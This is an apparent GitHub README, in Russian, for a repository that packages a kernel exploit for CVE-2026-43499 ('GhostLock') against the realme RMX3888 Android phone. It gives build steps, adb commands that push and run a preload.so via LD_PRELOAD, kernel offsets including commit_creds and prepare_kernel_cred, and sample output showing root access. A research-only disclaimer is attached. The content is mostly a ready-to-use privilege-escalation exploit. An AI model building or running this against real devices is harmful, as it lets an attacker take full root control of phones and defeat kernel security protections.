
CVE-2026-43499 конфигурация эксплойта для realme RMX3888 (Android 16) - 20 подтверждённых kernel offsets
Этот репозиторий содержит полные файлы конфигурации для эксплойта CVE-2026-43499 (GhostLock), нацеленного на устройство realme RMX3888. Все смещения ядра были извлечены и проверены из boot.img устройства.
✓ 20 проверенных смещений ядра, извлечённых из vmlinux
✓ Логирование в реальном времени с O_SYNC + fsync для защиты от паники ядра
✓ Конфигурация, специфичная для устройства RMX3888
✓ Скрипт компиляции в один клик с автоопределением NDK
✓ Подробная документация с руководствами по сборке
ealtime_log.h - Реализация логирования в реальном времени
ound2_report.md - Отчёт о конфигурации (Раунд 2)
git clone https://github.com/Bailan766/rmx3888-cve-2026-43499-config.git
cd rmx3888-cve-2026-43499-config
export ANDROID_NDK_HOME=/path/to/android-ndk
chmod +x compile_rmx3888.sh
./compile_rmx3888.sh
В Git Bash на Windows скрипт автоматически определяет путь к SDK по умолчанию, используемый Android Studio и инструментами командной строки: /c/Android/Sdk/ndk/*.
Примечание: ASHMEM_MISC_FOPS, ASHMEM_COMPAT_IOCTL и COPY_SPLICE_READ в настоящее время используют совместимые со сборкой запасные значения в целевом заголовке RMX3888. Замените их на проверенные смещения RMX3888 vmlinux, прежде чем полагаться на поведение во время выполнения.
# Push to device
adb push build/rmx3888-BP2A.250605.015/bin/preload.so /data/local/tmp/
# Set permissions
adb shell chmod 755 /data/local/tmp/preload.so
# Execute exploit
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# Check logs
adb shell cat /sdcard/Download/log_*.txt
Основные смещения ниже были извлечены из ядра 6.1.141. См. примечание выше о резервных записях, совместимых со сборкой, которые всё ещё требуют проверки для RMX3888.
#define KIMAGE_TEXT_BASE 0xffffffc008000000ULL
#define INIT_TASK_OFF 0x0202fc00ULL
#define SECURITY_HOOK_HEADS_OFF 0x015c1488ULL
#define ASHMEM_FOPS_OFF 0x0126bbe0ULL
#define COMMIT_CREDS 0xffffffc0081e9b60 (offset: 0x001e9b60)
#define PREPARE_KERNEL_CRED 0xffffffc0081e9df0 (offset: 0x001e9df0)
// ... 15 more verified offsets
Встроенный модуль логирования в реальном времени обеспечивает:
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),...
[18:00:01] [] Starting exploit... [18:00:02] [+] Kernel base leaked: 0xffffffc008000000 [18:00:03] [] Preparing heap spray... ... `
Подробные инструкции по устранению неполадок см. в BUILD_GUIDE.md, включая:
⚠️ ВНИМАНИЕ: Данная конфигурация предназначена только для авторизованных исследований в области безопасности.
Данная конфигурация предоставляется исключительно в образовательных целях и для исследований в области безопасности.
Данный репозиторий содержит материалы для исследований в области безопасности. Авторы и участники не несут ответственности за любое неправомерное использование или ущерб, причинённый этим кодом. Используйте на свой страх и риск и только на устройствах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Сгенерировано: 2026-07-23
Версия ядра: 6.1.141-android14-11-o-gffc54a6d2287
Проверка смещений: 100% (20/20)
Статус: Готово к компиляции